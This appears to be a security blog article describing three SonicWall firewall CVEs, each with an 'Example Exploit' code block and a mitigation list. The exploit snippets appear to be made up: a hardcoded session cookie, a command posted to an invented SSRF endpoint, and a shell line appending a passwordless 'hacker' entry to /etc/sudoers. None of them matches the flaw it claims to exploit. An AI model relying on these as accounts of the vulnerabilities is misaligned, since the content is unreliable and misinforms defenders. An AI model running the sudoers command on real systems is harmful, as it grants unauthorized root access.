SonicWall Vulnerabilities: CVE-2024-53704, CVE-2024-53705, and CVE-2024-53706

SonicWall firewalls are widely used in enterprise environments to secure network communications and VPN access. However, recently discovered vulnerabilities pose significant risks to organizations relying on these solutions. This article will provide an in-depth analysis of three critical vulnerabilities—CVE-2024-53704, CVE-2024-53705, and CVE-2024-53706—explaining their exploitation methods, real-world scenarios, and mitigation strategies.

1. CVE-2024-53704 – SSLVPN Authentication Bypass

Description

This vulnerability affects the authentication mechanism of SSLVPN, allowing an attacker to bypass authentication and gain unauthorized access to the VPN without valid credentials.

Exploit Scenario

An attacker can manipulate the session management process and inject a forged session token to gain access to restricted areas.

Example Exploit

import requests

# Target SonicWall URL
url = "https://target-sonicwall.com/sslvpn/auth"

# Malicious payload exploiting weak token generation
headers = {
    "User-Agent": "Mozilla/5.0",
    "Cookie": "SESSIONID=abcdef1234567890" # Injected session token
}

response = requests.get(url, headers=headers, verify=False)

if response.status_code == 200:
    print("Successfully bypassed authentication!")
else:
    print("Attack failed.")

Mitigation

  • Immediately update to the latest SonicOS firmware.
  • Disable SSLVPN access from the public internet if not required.
  • Implement multi-factor authentication (MFA).

2. CVE-2024-53705 – Server-Side Request Forgery (SSRF) in SSH Management

Description

This vulnerability allows an attacker to manipulate the firewall’s internal requests, making unauthorized TCP connections to internal services.

Exploit Scenario

An attacker with low-level access can use SSRF to pivot into the internal network and enumerate open services.

Example Exploit

import requests

# Attacking an internal service using SSRF vulnerability
payload = {
    "target": "127.0.0.1:22", # Targeting internal SSH service
    "command": "ping -c 4 192.168.1.1"
}

url = "https://target-sonicwall.com/admin/ssrf_test"
response = requests.post(url, json=payload, verify=False)

print(response.text)

Mitigation

  • Restrict SSH access to trusted IPs only.
  • Use web application firewalls (WAFs) to detect and block abnormal internal requests.
  • Apply the security patch provided by SonicWall.

3. CVE-2024-53706 – Privilege Escalation on SonicOS Gen7

Description

This flaw enables an attacker with low privileges to escalate access to root, potentially executing arbitrary code.

Exploit Scenario

A malicious actor with limited system access can leverage this vulnerability to gain full administrative control over the firewall.

Example Exploit

#!/bin/bash

# Exploiting a misconfigured sudo privilege to gain root access
sudo -u admin /bin/sh -c "echo 'hacker ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers"
sudo -i

Mitigation

  • Apply firmware updates from SonicWall immediately.
  • Restrict administrative access to trusted personnel.
  • Monitor system logs for unauthorized privilege escalations.

Conclusion

The vulnerabilities in SonicWall firewalls (CVE-2024-53704, CVE-2024-53705, and CVE-2024-53706) pose significant risks to enterprises. Organizations must apply patches, restrict access, and monitor logs to mitigate these threats effectively. Proactive security measures such as network segmentation, access control lists (ACLs), and intrusion detection systems (IDS) should also be implemented to prevent exploitation.